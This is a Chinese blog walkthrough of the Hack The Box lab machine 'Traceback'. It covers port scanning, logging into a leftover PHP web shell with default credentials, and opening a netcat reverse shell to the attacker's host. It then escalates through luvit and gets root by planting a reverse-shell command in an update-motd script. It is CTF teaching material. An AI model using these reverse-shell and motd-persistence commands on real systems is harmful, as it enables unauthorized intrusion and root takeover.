• HTB::Traceback


    实验环境

    Traceback1

    渗透过程

    0x01 信息搜集

    masscan扫描

    sudo masscan 10.10.10.181 -p0-65535 --rate 1000 -e tun0
    

    Traceback2

    nmap扫描

    sudo nmap -sS -sV -T4 -p- 10.10.10.181
    

    Traceback3

    开放22与80端口。

    访问80端口,发现有人挂了黑页

    Traceback6

    联想到该靶机的标题为:Traceback(反追踪),猜测此黑页就是题目所给条件。

    0x02 解题过程

    查看网页源代码,发现疑似提示语句。

    Traceback4

    猜测Xh4H为后门作者,通过搜索引擎查找相关信息。

    Traceback5

    找到一个代码仓库,对其中后门进行测试,发现http://10.10.10.181/smevk.php可以访问。

    Traceback7

    后门源码(部分)如下:

    $UserName = "admin";                                      //Your UserName here.
    $auth_pass = "admin";                                  //Your Password.
    

    使用该密码成功登录后门:

    Traceback8

    通过后门代码执行,尝试反弹shell

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.237 4444 >/tmp/f
    

    建立命名管道,并将管道shell通过管道与远程主机相连接。

    Traceback9

    使用PHP代码执行,反弹shell

    Traceback10

    得到shell:

    Traceback11

    查看系统用户信息:

    Traceback12

    进入当前用户的家目录,获得一个note.txt提示文件:

    Traceback13

    user.txt

    查看bash历史记录:

    Traceback14

    发现应该是利用/home/sysadmin/luvit这个工具执行了一个lua脚本,然后删除了所执行的脚本。

    查看:

    Traceback15

    发现当前用户可以不使用密码利用/home/sysadmin/luvit工具,构造lua脚本获取拥有sysadmin权限的shell:

    Traceback16

    利用该shell,得到user.txt。

    Traceback17

    root.txt

    Traceback18

    可以看到系统每隔30秒就把/var/backups/.update-motd.d/中的文件都复制到/etc/update-motd.d/

    通过搜索得知:motd是message of the day的缩写,意思是“当天的提示信息”,通常在用户成功登录到Linux后出现,该信息可以从/etc/motd文本文件中找到。

    提示:/etc/motd文件有时不一定是个常规文本文件,也可能是一个软链接到某个特定的文件,如/var/run/motd

    一般来说,这个文件是一个静态文本文件,只在某个Linux发行版本完成安装或升级后才会更新。

    提示:UNIX/Linux系统管理员也通常会把一些重要的信息写到这个文件里面,以方便其他人或自己下次成功登录时需要注意什么和做什么,非常方便。

    通常一个标准的motd信息有以下内容:

    1. 欢迎信息,一般包括Linux发行版本名称,内核版本、操作系统位数
    2. 操作系统当前信息,如操作系统负载,进程数量,文件系统使用情况,当前用户登录数,内存(含swap)使用情况,IP地址
    3. 文档和帮助信息
    4. 可更新的软件包和可升级的安全补丁

    找到相应文件目录:

    Traceback19

    由于手工监视进程较麻烦,然后使用Github开源项目pspy进行监视进程,在监视过程中发现ssh登录成功后会以root用户执行/etc/update-motd.d/下的文件,如图:

    Traceback20

    使用SSH登录,将本机公钥写入服务器authorized_keys文件中:

    Traceback21

    在”欢迎语“中加入一条命令,显示root.txt

    Traceback22

    快速进行登录(服务器定期重置motd),得到root.txt:

    Traceback23

    将反弹shell命令写入”欢迎“脚本:

    echo "rm /tmp/h;mkfifo /tmp/h;cat /tmp/h|/bin/sh -i 2>&1|nc 10.10.14.237 6666>/tmp/h" >> 00-header
    

    进行ssh登录时,反弹root shell:

    Traceback24

    python3 -c 'import pty; pty.spawn("/bin/bash")'			# 可以获得交互式shell
    
  • 相关阅读:
    变长参数表
    以二进制方式输出数字在内存中的存储形式
    asp.net mvc controller 获取数据
    asp.net mvc 3.0 新特性之 Model
    一个实体对象不能由多个 IEntityChangeTracker 实例引用
    iis6.0运行asp请求资源正在使用中
    view的使用
    asp.net mvc RenderAction 和RenderPartial用法
    今天
    当下的力量
  • 原文地址:https://www.cnblogs.com/chalan630/p/13643063.html
Copyright © 2020-2023  润新知